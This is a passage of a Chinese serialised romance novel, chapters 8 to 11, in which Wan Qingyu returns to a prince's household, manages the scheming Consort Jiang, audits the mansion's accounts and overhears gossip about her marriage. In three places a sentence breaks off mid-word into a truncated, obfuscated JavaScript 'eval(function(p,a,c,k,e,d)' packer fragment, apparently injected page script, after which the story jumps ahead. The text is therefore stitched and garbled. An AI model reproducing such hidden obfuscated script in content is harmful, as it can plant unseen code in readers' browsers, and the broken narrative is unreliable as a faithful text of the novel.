他低头凝视她明亮的双眸,她粉颊柔和,神色无半点攻击性,或因误会解除,连看他的眼神都多了几分变化。 有时她心思单纯,他能轻易看透,但看透了又如何?终究无法走进她心中分毫。 思及此,他忽觉方才那一瞬恍惚是自己自作多情。毕竟她早有心上之人,嫁给他前,她便与她的竹马付钰书情投意合。 这对青梅竹马之事曾在京城小范围流传,只怪他平日不察,直至订婚后才知她心有所属。 彼时他们已经订婚,他骑虎难下,性子又倔,明知插足不义,仍硬着头皮将她娶走,只为助太保府渡过难关。 订婚后,付钰书数次寻他,冷嘲热讽,言语相激,逼他放手晚青妤。 奈何付钰书遇上了他这个硬茬。 当初他冷眼看着付钰书发疯难过,只淡淡丢下一句:“有本事将她从我身边抢走,抢不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如今她在府中生有两子一女,孩子们虽然不及萧秋折,但也算得上才子佳人。她自认为萧秋折不过因嫡长子身份得势,实则不比她的儿子强多少,又觉他失母后终将失宠,早晚会让出亲王府大权。 所以,多年来,萧秋折孤身奋战,既要争权夺势,又要应付欲将他逐出家门的“家人”。 他压力如山,能坚持至今,确非旁人可比。 晚青妤与江侧妃的嫌隙,始于婚后奉茶之礼。彼时,她依礼恭敬,双手奉茶,举止端庄,未曾有半分逾矩。然而,江侧妃却当众含沙射影,言辞间暗讽她家教不足,礼数不周。 她出身名门,规矩礼仪虽不及亲王府那般繁复讲究,却也自幼习得世家风范,举手投足间自有分寸。江侧妃此举,明摆着是借题发挥,连带她的家人一起嘲讽,如此这般,着实令人难堪。 然而,晚青妤性子虽温婉,却非软弱可欺之人。当时她忍无可忍,抬眸直视江侧妃,唇角微扬,语气淡然却掷地有声:“既然如此,日后我便不再奉茶。” 此言一出,满堂皆惊。江侧妃脸色骤变,未料她竟敢如此顶撞。然而,晚青妤神色从容,目光坚定,毫无退缩之意。 自此,直至她搬至山上,再未给江侧妃请安奉茶。即便江侧妃心中不悦,却也奈何不得。因这是萧秋折默许之事,连萧亲王亦不敢多言。府中众人虽替江侧妃心有不甘,却无人敢置喙半句。 只是萧秋折护得了她一时,却难护她一世,平日里他忙于公务,恐难归家。日后若是江侧妃再进行刁难,他不在时,她只能独自应对。 二人入屋,面对江侧妃,萧秋折仅颔首示意,未行大礼。 晚青妤亦随他颔首,轻声道:“青妤拜见江侧妃。” 8. 第 8 章 虽然晚青妤对江侧妃并无好感,但该有的礼数却是一丝不苟。 江侧妃笑意盈盈地迎上前,柔声道:“青妤回来怎么也不提前说一声,我好准备一番,迎接你才是。” 晚青妤突然回府,确实令人意外,尤其是江侧妃,心中难免生出几分疑虑。 晚青妤微微一笑,抬手请她入内,语气淡然:“我回来不过是小事一桩,不便惊动府中众人。” 江侧妃落座后,笑意不减,语气中带着几分试探:“两年未曾回府的人突然归来,怎能不算大事?依我看,该设宴庆祝一番才是。” 晚青妤神色平静,淡淡回道:“若江侧妃有此心意,青妤自当领情。” 江侧妃瞥了一眼萧秋折,见他并未搭话,心中冷笑,她不过是随口客套,自然不会真的为她设宴。 “青妤可都安顿好了?打算住在何处?”江侧妃又问,眼中闪过一丝探究。 府中上下皆知,这二人成婚不过是利益交换,毫无情分可言,且已分居两年。如今晚青妤突然回府,如何居住自然引人注目。 晚青妤早已料到她会如此问,神色从容,笑意浅浅,回道:“自然要与秋折同住。” 秋折。 同住。 此言一出,房中顿时一片寂静。 萧秋折看她一眼,蜷了蜷手指,他还是头一次听她叫他“秋折”。 感觉有点……脸颊发热。 江侧妃不想她会如此回答,神色一滞,忽而轻笑两声:“住在翠玉轩也好,秋折一直住在那儿,早已习惯。” 晚青妤却不动声色,淡淡道:“翠玉轩确实不错,我也喜欢。不过兰风居是我们成婚时的院子,我在考虑是否搬回去住。回头我先让人收拾出来,做以准备。” 提到兰风居,江侧妃的脸色瞬间沉了下来。她刚向太妃请示,准备把兰风居给她的小儿子萧絮住。虽然太妃尚未应允,但她心中有数,太妃不会拒绝。如今晚青妤突然回府,兰风居怕是很难再落入他们手中了。 兰风居是晚青妤与萧秋折的婚房,即便萧秋折多年未住,晚青妤也绝不会让他人染指。 江侧妃沉默片刻,脸色阴晴不定。 晚青妤瞥了一眼门旁的方齐,对江侧妃道:“秋折还有要事在身,不便久留。我先让人沏茶,待会儿与您讲讲我在山间的趣事。” 萧秋折一直未动,晚青妤心知他是在担心自己。她心中清楚,大事要紧,家中琐事她自能应付。 萧秋折望着晚青妤从容自若的模样,悬着的心终是放下。他起身道:“你们先聊,我去忙。” 说罢,他递给晚青妤一个安心的眼神。 晚青妤接住他的目光,眨了眨眼,心中微动,他这一眼,竟带着几分难得的温柔。 萧秋折出了房间,方齐早已急得满头大汗,低声禀报:“赵家老爷子死了,赵家人到大理寺闹事,非要七日之内查出凶手,给他们一个交代。如今大理寺乱作一团,大理寺卿不敢得罪赵家人,特让我来请您。” 赵家老爷子乃是国舅爷的叔父,年过六旬却好色成性,男女通吃,仗着家世祸害了不少百姓。近日他盯上了晚青妤的弟弟晚青桁,萧秋折昨夜刚命方齐将他送出京城,谁知今日就死了。 “怎么死的?”萧秋折冷声问,脚步未停。 “猝死。我们刚将他送出京城,他就断气了,许是年事已高,经不起折腾。”方齐回道。 萧秋折眉头微皱,心中暗叹,赵老爷子平日里纠缠人时精神十足,谁料竟会突然猝死。不过,死了也好,再也不会祸害人了。 方齐忧心忡忡:“赵家势大,此事很快便会传到皇后耳中。若皇后插手,事情就麻烦了。” 萧秋折深吸一口气,沉声吩咐:“你先去封锁消息,让大理寺卿到岳堂见我。” 方齐点头:“是。” —— 萧秋折离去后,晚青妤命人奉上茶点,又端来瓜果,耐心与江侧妃讲述自己在山间的日子。 起初江侧妃还听得认真,渐渐便觉乏味。晚青妤讲的不过是山间风景与日常琐事,什么读书、养猫、种花、种菜,每一样都讲得细致入微。 晚青妤声音温柔,娓娓道来,听得江侧妃眼皮直打架,险些睡着。她实在坐不住,便起身告辞,临走前还问晚青妤如何用饭。晚青妤回道:“我与秋折一同用饭,厨子会单独准备。” 江侧妃离去后,晚青妤小憩片刻,随后唤来府中嬷嬷,细细询问府中近况。 嬷嬷事无巨细,将府中大小事务一一禀报,还提到了王爷的新宠周姑娘。 从嬷嬷口中得知周姑娘性子温顺,颇得王爷欢心。然而府中上下皆不喜她,尤其是江侧妃,为此还闹到太妃跟前。太妃管不住王爷,不予处理,江侧妃只好又去找萧秋折理论。 父亲风流,做儿子的也无可奈何。萧秋折无法阻止父亲寻欢作乐,只能尽量阻止他再纳妃纳妾。 晚青妤听罢,长叹一声,心中愈发后悔随萧秋折回府,也愈发同情他的处境。 她歇息片刻,便让管家取来家谱,细细翻阅。待她看完,天色已晚。 玉儿前来询问:“小姐,您是先用饭,还是等姑爷回来一同用?” 晚青妤此时并不觉饿,走到门前望了望天色,道:“再等等吧,他应该快回来了。” 纵使再忙,天色已晚,他也该回家了。 玉儿未再多言,也觉得等萧秋折回来一同用饭更为妥当。 晚青妤本打算等他回来再收拾房间,毕竟房中全是他的物件,她不好轻易挪动。后来转念一想,索性自己先住偏房,让他住主房。于是她将偏房按自己的喜好布置一番,又将随身物品搬了进去。 收拾时,她在他的书桌上发现了一些信。那些信整整齐齐地摆在一摞书旁,用一根洁白的丝带系着,丝带干净如新,显然时常打理。 她凑近细看,觉得有些眼熟,粗略一数,约有十几封,每个信封一模一样,上面并无署名,只画了一小截柳枝。 柳枝? 晚青妤蓦地眨了下眼,这些不正是她十二岁那年写给他的信吗?他……竟然全都留着?留了整整七年? 她简直不敢相信,当初她还怀疑这些信是否真的送到了他的手中。 如此说来,她写给他的每一封信,他都看过了?她在书上抄的那些羞人的情话,他也都读到了? 然而,他却一封信也不回? 晚青妤的脸颊瞬间染上红晕。她本以为他早已将少时之事忘却,没想到他竟然连信都留着。 这以后该如何面对他? 年少时的冲动当真可怕,她当初是如何厚着脸皮写下这么多信的? 她的脸颊愈发滚烫,玉儿察觉异样,关切道:“小姐,您不会是又发热了吧?” 说着,她伸手探了探晚青妤的额头,惊呼道:“怎么这么烫?我去请大夫!” 晚青妤急忙拉住她:“不必,我只是有些热。” “热?”玉儿疑惑。 晚青妤快步走向偏房,随口道:“在山间住惯了,回府后有些不适应。” 玉儿未再多想,帮她将物品一一归置妥当。 收拾完毕后,晚青妤静候萧秋折归来用饭。然而左等右等,他始终未归。 玉儿劳累一日,晚青妤便让她先去歇息,自己独坐偏房,捧书细读。 不知不觉已至深夜,月色如水,洒在窗棂上,映得屋内一片清辉。主房忽然传来一阵轻微的响动,似有人影晃动。 晚青妤放下手中的书卷,心中微动,起身轻步走向主房。她抬手掀开主偏房之间的珠帘,不料正撞上往偏房而来的萧秋折。两人猝不及防,撞了个正着。 晚青妤身形一晃,险些跌倒,慌乱间伸手扯住了萧秋折的衣袖。萧秋折反应极快,顺势扶住她的手臂,稳住了她的身子。待站稳后,晚青妤抬眸,正对上他的眼眸。 四目相对,晚青妤忽而想起他书桌上那些整整齐齐的信笺,心中一阵悸动,脸颊瞬间红了。她急忙松开手,低垂着眼眸,转身退回偏房。 萧秋折见她神色有异,眉梢微动,心中疑惑,却未多言。他缓步跟上前,声音低沉:“夜已深,怎么还未歇息?” 萧秋折作为京城中权谋厮杀的顶尖人物,手中事务繁杂,担子沉重,早已习惯了夜半三更才眠、五更天未明便起的日子。今日这个时辰回府,已算是难得的早了。 赵老爷子突发身亡,赵家人纠缠不休,此事颇为棘手。若是依照萧秋折以往的作风,事情未妥善解决完之前,他绝不会回府歇息。然而今日,他却鬼使神差地回来了。 更令他意外的是,晚青妤竟还未歇下。 晚青妤走到桌前坐下,低垂着眼眸,不敢再看他,轻声回道:“有些认床,睡不着。” 认床? 萧秋折眉梢微挑,目光扫向她身后的床榻。床铺已收拾妥当,洁白的被褥铺得整整齐齐,窗幔也换成了淡粉色,显得格外温馨。 萧秋折审视了她片刻,见她神色躲闪,心中疑惑,清声问道:“我走后,江侧妃可曾为难你?” 晚青妤摇摇头,语气平静:“没有,我给她讲了山间的事,差点把她讲睡着了。” 看来她应对得游刃有余。萧秋折心中略感欣慰,四下望了一眼,道:“若是这里睡不惯,便去主房歇息,我睡这里便是。” 他本来打算让她睡主房,他睡偏房,只是事务繁忙,忘了收拾。他房中的东西,未经他允许,无人敢动。 晚青妤却觉得即便去了主房,自己也未必能睡得着,便道:“不必了,我日后睡在这里吧。” 她说着,倒了一杯温茶递给他,语气温柔:“厨房里还给你留着饭,你先去用些。洗漱的水我也让人备好了,天已晚,你早些歇息。” 晚青妤自幼随了母亲的性情,心思细腻,善解人意。家中兄弟姐妹众多,彼此照应已成习惯。方才闲来无事,她便不自觉地为他打点好了这些琐事。 她的父亲是朝中重臣,常因公务繁忙疲惫归府。她深知父亲的辛劳,自然也理解萧秋折的不易。 萧秋折听她温声细语地说完,沉默良久,未曾言语。烛光摇曳,映照在她清丽的眉眼上,仿佛一瞬间驱散了他满身的疲惫。 他自幼丧母,父亲风流成性,对他不闻不问。他从未体会过被人疼爱的滋味,更不曾有人如此体贴地为他留饭、备水。这种温暖让他一时恍惚,心中泛起一丝陌生的悸动。 片刻后,他低低应了一声,转身出了偏房。 晚青妤在屋中静坐片刻,听着主房再无动静,才缓缓上床歇息。 翌日一早,碧空如洗,暖风习习。 晚青妤醒得稍晚,起身后,玉儿前来服侍她洗漱。玉儿精神抖擞,喜笑颜开地道:“果然还是亲王府里住着舒坦,床是软的,饭是香的,要什么有什么。” 玉儿并非贪图富贵之人,但她觉得好生活才养人,尤其是像晚青妤这般出身金贵的,理应过得越来越好,日子蒸蒸日上。 亲王府确实极好,但晚青妤昨夜却睡得并不踏实。或许是因为与萧秋折住得太近,一时有些不习惯。 玉儿取来一件绣着粉色海棠的锦衣,笑道:“这是裁缝一早送来的衣裳,小姐快试试合不合身。” 晚青妤望着那质地上乘的衣衫,眼中闪过一丝疑惑。 玉儿一边帮她穿衣,一边笑道:“这是姑爷昨日离府后特意到街上裁缝铺为您订做的。时间紧迫,裁缝赶了一夜才做出一件,今早便送了过来。您先穿着,看看是否合意。” 萧秋折竟如此有心?还给她做衣服? “他人呢?”晚青妤问。 “一大早就出去办事了。”玉儿回道。 他果然忙碌。 晚青妤整理妥当,出房用饭。刚踏出房门,便见萧秋折的一名属下候在门外。 晚青妤打量了他片刻,不确定地唤了一声:“方齐?” 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萧秋折独自在床上躺了数月,仅凭一口气撑了下来。那几个月里,唯有太妃来看过他一次。一个刚满十二岁的少年,本该享受父母的疼爱,却独自承受着伤痛。 此外,他十七岁那年还遭遇了一场前所未有的大劫,险些夺去了他的性命。那场劫难让他多年来都难以走出阴影,甚至性格也变得沉默寡言,不喜与人接近,不知如何展露笑颜。 他与晚青妤成婚那年,众人以为他终于有了妻子,有了人疼、有人爱。然而,两人成婚后便分居两地,直到两年多过去,晚青妤才肯回府。 对于二人之间的事情,方于作为属下不便多言,但他看得出来,无论是样貌还是性情,二人皆极为般配。 萧秋折位高权重,各方面皆出类拔萃,爱慕他的姑娘数不胜数,但他却从未对任何女子动过心。 自他母亲去世那年起,他便被府中几个强势的妾室欺负毒打,甚至大冬天经常被罚跪在祠堂背诵诗经。 他一个无母的孩子,斗不过那些妇人,只能默默忍受,随后拼命读书钻研,直到十四岁那年中了状元,才有了翻身的机会。 虽然后来他有能力将那些欺负过他的人赶出亲王府,但也挡不住父亲一个接一个地往府里领人。作为王爷,妻妾成群并不稀奇,但这些人的确给萧秋折带来了极大的伤害。 萧秋折曾与王爷交谈、争吵,最终王爷拗不过他,答应不再纳妾。因此,多年来,王爷确实未再纳妾,只留一位周姑娘在身边相伴。 然而,王爷不顾家,萧秋折又常年在外奔波,府中必须有人掌事。如今他担子越来越重,亲王府内又纷争不断,他将晚青妤请来,确是一个明智之举。 但愿二人不只是利益结合,也能顾念些情分。 方于心中思绪万千,不知不觉已随晚青妤到了膳厅。他恭敬道:“少夫人,公子让我将亲王府的账簿整理了一遍,待您用过饭后,我带您到账房查看。” 查账是正事,晚青妤昨日便想去账房瞧瞧,但萧秋折未发话,她也不好贸然前去,毕竟那是亲王府的私密之地。 晚青妤点头应道:“好,你且稍候,我很快用完饭。” 晚青妤匆匆用过早饭,便随方于前往账房。 账房内有一位管事的,名为刘科,是萧秋折前不久亲自挑选的人。萧秋折为防止假公济私,常调换账房人员。即便这些人皆是他精心培养的,但仍防不住出纰漏。 刘科头脑灵活,待人和善,见晚青妤到来,恭敬行礼。 晚青妤步入账房,只见房内布置井井有条,正中央摆放着一张厚重的实木方桌,桌上整齐码放着各类账本,每一本皆用麻绳仔细捆扎,标签上工整地写着年份与账目类别。 账房一角矗立着一个高大的榆木柜子,柜门半掩,里面塞满了一摞摞地契、房契,以及一些重要的往来书信,皆是亲王府资产与经济往来的重要凭证。 墙上挂着一幅巨大的账簿图,密密麻麻地记录着王府每月的收支明细,红笔、黑笔标注的数字相互交织。 晚青妤被这幅图吸引,目光落在其中最大的一笔开销上,不禁蹙起了眉头。 这是一笔亲王府的生活开销,主要是府中人的吃穿用度,每月竟高达八千多两。 晚青妤心中错愕。她家太保府上下二十几口人,每月开销不过一千两,亲王府竟能花八千两。即便人口再多,吃穿再好,也不该有如此大的差距。 她顺着往下看,找到了自己的那一份,上面写着:少夫人每月银钱一百两。 萧秋折确实每月给她送一百两,但到她手中却只有十两。 此外,还有一些杂七杂八的开销及仆人的月钱,加起来每月竟花费一万五千两。 这般开销着实惊人,萧秋折累死累活养这一大家子,实属不易。 晚青妤转向刘科,问道:“这些全是开销,可有收入明细让我看看?” 刘科引她到木柜前,取出一沓收入明细递给她,恭敬道:“这是近三个月的收入明细,请少夫人过目。” 晚青妤翻了翻,只见上面记录着大梁庄、银庄、半庄、瓜园、果园等收入,却未见府中在朝人员的俸禄明细。 她疑惑地问:“府中无人交贡月银吗?总不能只出不进。” 刘科回道:“回少夫人,没有。这几年府中除了王爷和大公子,无人有其他收入。二公子虽在吏部当值,但所收俸禄皆交给了江侧妃。他们侧妃院里有自己单独的账簿。” “单独开账?”晚青妤眉头微蹙,“那他们平日里的花销呢?都是从这儿支取的?” 刘科点头:“正是。他们每月会来领银子。” “那王爷的俸禄呢?”晚青妤又问。 刘科摇头:“王爷的俸禄从未纳入王府账中,具体如何分配,老奴不知。” “萧秋折的呢?”晚青妤继续追问。 9. 第 9 章 萧秋折作为亲王府的嫡长子,这几年在朝堂上风生水起,所积累的财富自然丰厚无比。虽未必能与亲王府的百年家底相提并论,但也绝不会逊色太多。 刘科恭敬回道:“大公子的俸禄与赏赐,也未曾纳入王府账中。” 晚青妤眉头微蹙,疑惑道:“所以,整个亲王府的开销,全靠这些宅田和银庄支撑?” 刘科点头称是。 晚青妤心中愈发不解,低声问道:“萧秋折为何不管这些?” 方于在一旁接过话头,解释道:“公子朝堂事务繁忙,实在无暇顾及府中琐事。这些年,他大多睁一只眼闭一只眼,只要府中人不做得太过分,便由他们去了。” 晚青妤闻言,心中了然。偌大的亲王府,仅凭萧秋折一人,确实难以周全。 她目光扫过账房,道:“这里的账簿我会一一查看。烦请刘师父先将这几年的收入明细都拿来,我需细细核对。” 刘科知她是萧秋折请来管事的,不敢怠慢,连忙应道:“是,少夫人,我这就去取。”说罢,他又小心翼翼地问:“可需要我找几个人帮您做笔记?” 晚青妤摇摇头,走到桌前坐下,回道:“不必,只留方于和玉儿便好。” 其他人,她信不过。 方于被点名,有些紧张地搓了搓手,低声道:“少夫人,我脑子笨,万一做错了可怎么办?” 晚青妤微微一笑,语气温和:“你跟着玉儿做便是。从前在晚府时,都是玉儿帮我打理账目,她熟门熟路,你跟着她不会出错。” 方于转头看向玉儿,玉儿眉眼弯弯,笑意盈盈地拍了拍他的肩膀,道:“别担心,跟着我,保准你不会出错。” 方于被她一拍,顿时打了个激灵,脸上泛起一丝红晕,不好意思地道:“那就劳烦玉儿姑娘了。” 晚青妤吩咐刘科取来笔墨,随即开始翻阅账簿,一边看一边做笔记。玉儿和方于在一旁打下手,刘科则恭敬地候在一旁,随时听候差遣。 晚青妤整理账簿自有一套方法,简洁明了,一目了然。她还特意列了每年每月的对比图,每一处都做了详细的标注和说明。 她做事虽慢,却极为细致,一旦投入进去,便半个时辰都不曾停手。 玉儿一边记录一边整理,还不忘教方于如何配合。三人如此忙碌了一上午,总算将其中一年的明细整理了出来。若要将这些年的账目全部理清,恐怕还需好几日功夫。 晚青妤不求快,只求精。毕竟,这并非小事。 午膳时分,萧秋折匆匆回府。方于见他归来,心中诧异,外头事务堆积如山,他竟抽空回府用饭,实属罕见。 萧秋折匆匆净了手,随晚青妤一同前往膳房用饭。见她面色红润,神情安然,他心中稍安,看来她在亲王府住得还算习惯。 “今日如何?”萧秋折随口问道。 晚青妤坐下,轻声回道:“还好。我去了账房,准备将这几年的收入明细重新整理一遍。” 萧秋折点点头,道:“账簿繁琐,费神费力。若有不明之处,尽管问我。” 晚青妤应了一声,抬眸看他,见他神色匆忙,鬓边的发丝被风吹得凌乱,显然未来得及整理。她温声问道:“可是遇到了棘手的事?” 萧秋折盛了一碗粥递给她,回道:“是有些麻烦,不过尚能应付。我路过亲王府,顺道回来用个饭,稍后便走。” 晚青妤接过粥碗,默然片刻,低声道:“调查凶手的事,若有进展,望你能告知于我。我父亲与兄长已去世两年,凶手却仍逍遥法外,实在令人愤懑不安。我知此事不易,但我信你。” 她又说了一遍“信他”,短短两日,已说了两次。 萧秋折夹菜的手微微一顿,抬眸看向她。她的眸光清澈明亮,带着几分期盼,水红的唇微微张着,似还有话未说完,见他望来,便止住了。 萧秋折移开视线,低低“嗯”了一声。 片刻后,他忽而问道:“寻找仇人之事,是否也托付了付钰书?” 既然她二哥的事已交由付钰书处理,那她父亲与兄长被害之事,想必也托付了他。 乍一提及付钰书,晚青妤一时未反应过来,待明白他的意思后,摇头道:“没有,此事他不便插手。” “为何?”萧秋折追问。 晚青妤沉默不语。 “怕影响他的仕途?”萧秋折语气微冷。 晚青妤依旧未答。 萧秋折放下筷子,取帕子擦了擦唇角,起身道:“我吃好了,你慢用。” 他说罢,不等她回应,便转身往外走。 晚青妤愣了一瞬,急忙起身追上去,问道:“你晚上何时回来?想吃什么?我让厨子准备。” 萧秋折闻声停下脚步,转身看向她。今日阳光明媚,洒在她身上,映得她脸颊娇艳如花。 他平复了一下心绪,淡淡道:“我尽量早些回来。让厨子做些酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此刻,他看着她站在桃花树下,心中那股莫名的情绪又涌了上来。 他转身离去,背影孤独而匆忙。 晚青妤用过午膳,正准备出门,还未踏出翠玉轩,便见一位十四五岁的小姑娘匆匆跑来。 小姑娘眨着一双明亮的眼睛,脆生生地唤道:“嫂嫂!” 10. 第 10 章 晚青妤凝眸细观,只见她眉眼弯弯,恰似春日里初绽的月牙,眸中黑白分明,透着几分好奇与俏皮。嘴角微扬,噙着一抹狡黠的笑意,仿佛下一刻便能想出些捉弄人的鬼点子。她身着一袭浅粉色的齐胸襦裙,裙上绣着灵动的蝴蝶与烂漫的繁花,显得格外娇俏可人。 晚青妤对她颇有印象,她是江侧妃的小女儿萧芮,曾在与萧秋折成婚时见过一面。那时萧芮年纪尚小,好奇心重,竟偷偷跑到婚房中掀她的红盖头,她一口一个“嫂嫂”叫得格外甜腻。 萧芮与她娘亲不同,身上透着几分天真烂漫,言谈举止直来直去,毫不矫饰。晚青妤虽不喜江侧妃,但对萧芮却颇有好感。 晚青妤轻轻应了一声,柔声问道:“妹妹今日怎的来了?可是有事寻我?”二人虽不算熟稔,却皆是一派热络。 萧芮细细打量着她,笑意盈盈道:“听闻嫂嫂回府,特来瞧瞧。嫂嫂果然还是这般明艳动人。” 萧芮心思单纯,自幼受娘亲宠爱,待人接物从不思虑过多,亦不在意旁人眼光,只要自己欢喜便好。她喜欢晚青妤,只因她生得美貌,故而毫不吝啬赞美之词。 晚青妤轻笑一声,牵起她的手步入屋内,命丫鬟奉上精致的果品与点心。萧芮拈起一粒葡萄,边吃边问:“嫂嫂此次回府,可还离去?是否要长居亲王府了?” 当初晚青妤离府,萧芮便满腹疑惑。 晚青妤略一沉吟,答道:“且看情形吧。” 她不愿在外人面前透露回府的真实意图,毕竟数月后她与萧秋折便将和离,亦不会久留亲王府,言多恐惹人猜疑。 萧芮好奇追问:“山间当真那般好?竟比亲王府还要惬意?我听闻那里吃住皆不便,连件像样的衣裳都难寻。” 她自幼锦衣玉食,难以想象那般清苦生活。 晚青妤莞尔一笑,道:“山间景色宜人,空气清新,且颇为静谧,我住惯了,倒觉惬意。” 远离尘嚣,何尝不是一种福分? 萧芮转了转乌溜溜的眼眸,凑近她低声道:“嫂嫂久居山间,秋折哥哥可曾思念?夫妻二人若不能同食共寝,岂非名存实亡?况且,你们已分居两载,再同吃同住会是何种心情。” 晚青妤离府两年,府中众人几乎已忘却她的存在,甚至新来的仆役皆不知还有一位少夫人。 两年前萧芮尚幼,对晚青妤与萧秋折成婚的缘由一无所知,今日这般问起,想必她娘亲亦未提及此事。 晚青妤闻言,脸颊微红,垂眸不语,转而问道:“妹妹可知祖母诵经何时结束?管家说祖母诵经时不喜人打扰,故我未曾前去请安。” 萧芮答道:“约莫还需两三日。祖母若知嫂嫂回府,定会欢喜不已。” 她撅了撅小嘴,又道:“其实祖母本不欲闭门诵经,皆因二嫂与我二哥成婚后久未有孕,遍访名医,服尽汤药,均是无果。前些时日好不容易怀上,却不足三月便小产了。祖母为此忧心忡忡,心情郁结,方闭门诵经。” 萧芮的二哥乃是萧郢,晚青妤曾与他有过一面之缘,却未曾见过他的妻子。想来萧郢应是在她离府后成婚的,时日亦不算久远。 萧芮笑吟吟地望着晚青妤,问道:“嫂嫂与秋折哥哥何时会有孩儿?若你们有了子嗣,祖母定会欣喜若狂。” 孩儿?晚青妤闻言,脸颊更烫。 萧芮托腮道:“祖母言她年事已高,如今最大的心愿便是盼我们这些后辈为亲王府开枝散叶。她不仅催促二嫂嫂,还催三哥成婚,甚至连我也未能幸免。如今嫂嫂回府,祖母定会催你与秋折哥哥早日添丁。” 催她与萧秋折生子?此事比登天还难。 晚青妤回府时虽预想过诸多情形,却未曾料到这一层。她一时无言以对,只得命玉儿为萧芮奉上点心。 萧芮边吃边问起山间生活,晚青妤拣了几件趣事说与她听。起初萧芮听得津津有味,渐渐却如她娘亲般眼皮打架,不多时便哈欠连连,告辞离去。 萧芮走后,晚青妤便出了亲王府,前往西街。她本不欲让方于跟随,奈何方于言此乃萧秋折之命,须寸步不离,尤其出门时更需确保她的安全。晚青妤不欲为此事与萧秋折争执,只得带上方于。 晚青妤行至西街,进了一家书肆。方于初以为她来买书,见柜台前挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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11. 第 11 章 晚青妤乃是官家闺秀,自幼受教于诗书礼仪,言谈举止皆合乎规矩,深谙何时何地该说何话。 她浅笑盈盈,温声回道:“自是居于亲王府中。两年未归京城,竟觉陌生了许多,街巷变迁,若非有人引路,怕是连方向都难辨。不过,付伯伯这书肆,青妤却是记得清清楚楚。” 她巧妙避开了付钰书的话题,付伯伯亦未再追问,只命人奉上香茗,又取来几册时下风靡的书籍递与她。 晚青妤随手翻阅,见其中内容与昔日所读大不相同,虽觉新奇,却也不失雅致。她含笑致谢:“多谢付伯伯,这些书青妤定会细细品读。” 付伯伯笑容满面,道:“青妤博览群书,学问深厚,读罢若能写下心得,老朽便将其置于书肆,供众人参详。” 晚青妤谦逊一笑,道:“青妤才疏学浅,岂敢误人子弟?付伯伯不妨请付公子执笔,他向来对此类文章见解独到,笔下生花,字字珠玑。” 付钰书才高八斗,见微知著,年少时便以文章名动京城。晚青妤对他颇为敬仰,尤爱他身上那股书卷气。 付伯伯闻言,自知她说的付公子乃是付钰书,他眉开眼笑:“钰书确实文采斐然,近日正著书立说,待书成之日,老朽定先赠予青妤一册。” 晚青妤含笑致谢,虽两年未与付钰书相处,心中仍存几分敬慕。 她虽以“付公子”相称,却终究提及了他。 方于在一旁听得仔细,心中盘算着哪些话该禀报萧秋折,哪些话该隐去。 晚青妤与付伯伯又闲谈片刻,临行时,付伯伯为她备了厚厚一摞书籍。 她辞别书肆,并未径直回府,而是先去了昔日最爱的酒楼,品尝了几样小菜,又买了些点心,顺道去了花店,挑了几枝鲜花。最后,她步入首饰铺,挑选了几件精致首饰。 正当她挑选时,身旁两位姑娘正低声议论着当今探花郎付钰书。 一女子道:“听闻皇上近日频频召见探花郎,莫非有意将公主许配于他?” 另一女子摇头道:“依我看,未必。状元郎虽不及探花郎俊美,但他才学更胜一筹,皇家或许更青睐于他。” “探花郎确实风姿卓绝,京城之中,如此才貌双全的公子实属罕见。不知何等佳人方能配得上他。” “你可曾听闻?” “听闻何事?” “探花郎有位青梅竹马,心仪多年,可惜被亲王府的萧秋折横刀夺爱,听闻还是强娶。如今那青梅即将与萧秋折和离,探花郎或可再续前缘。” “你怎知他们要和离?” “家兄与探花郎相识,听闻探花郎对那青梅念念不忘,且那青梅与萧秋折乃是利益联姻,婚约仅三年。若非如此,那青梅怎会一成婚便隐居山中?多年无子,怕是连圆房都未曾有过。” “原来如此。那青梅究竟是何人?竟令探花郎如此痴心。” “前太保大人之女晚青妤,听闻容貌如仙。男子嘛,终究是爱慕美色的。” “那难怪了,只是萧秋折会愿意和离?” “为何不愿意?毕竟只是各取所需,满足了,自是愿意。况且,萧秋折是何人,能真正走近他心的,估计除了仙子不会是凡人。” “有这般夸张?左右不过一名男子,总有所需的时候,他那妻子如此美貌,我不信他没碰过。” “……” 晚青妤立于一旁,听得真切,眉头微蹙。原来她与萧秋折的婚约众人皆知,原来她与付钰书的往事亦非秘密。 她心中郁郁,随便挑了几件首饰,又选了几条男子发带,命店家包好。 出门时,她瞥见方于脸色僵硬,似嚼了蜡般难看。 晚青妤未多言,携着所购之物返回亲王府。 此时已是傍晚,她归来的消息早已传遍府中,连江侧妃的两个儿子也匆匆赶回,欲一睹嫂嫂风采。 晚青妤于翠玉轩中落座,萧郢携妻云浅前来拜见。二人恭敬行礼,晚青妤请他们入座,奉上香茗。 她曾见过萧郢,彼时的他豪气干云,如今却已沉稳许多。他与萧秋折相貌迥异,眉宇间透着几分外祖家的豪迈,眸光锐利,不怒自威。 其妻云浅则娇小柔弱,眉间隐有愁绪,眸光沉沉,显得颇为怯懦,尤其在萧郢面前,更是小心翼翼。 萧郢唤了声“嫂嫂”,云浅亦随之行礼。 晚青妤与他们并不熟络,寒暄几句后,萧郢问道:“大哥尚未归府?” 晚青妤点头:“尚未。” 萧郢又问:“嫂嫂昨日归来,怎未提前告知?” 晚青妤浅笑:“不过是归家罢了,何须惊动众人。” 萧郢“嗯”了一声,直截了当地道:“嫂嫂此次归来,打算住多久?何时离去?” 晚青妤沉吟片刻,回道:“若外头有好风景,或会再出去走走。” 萧郢闻言,意味深长地笑了笑,未再多言。晚青妤转而看向云浅,赞道:“弟妹生得标致,今日初见,真是令人眼前一亮。” 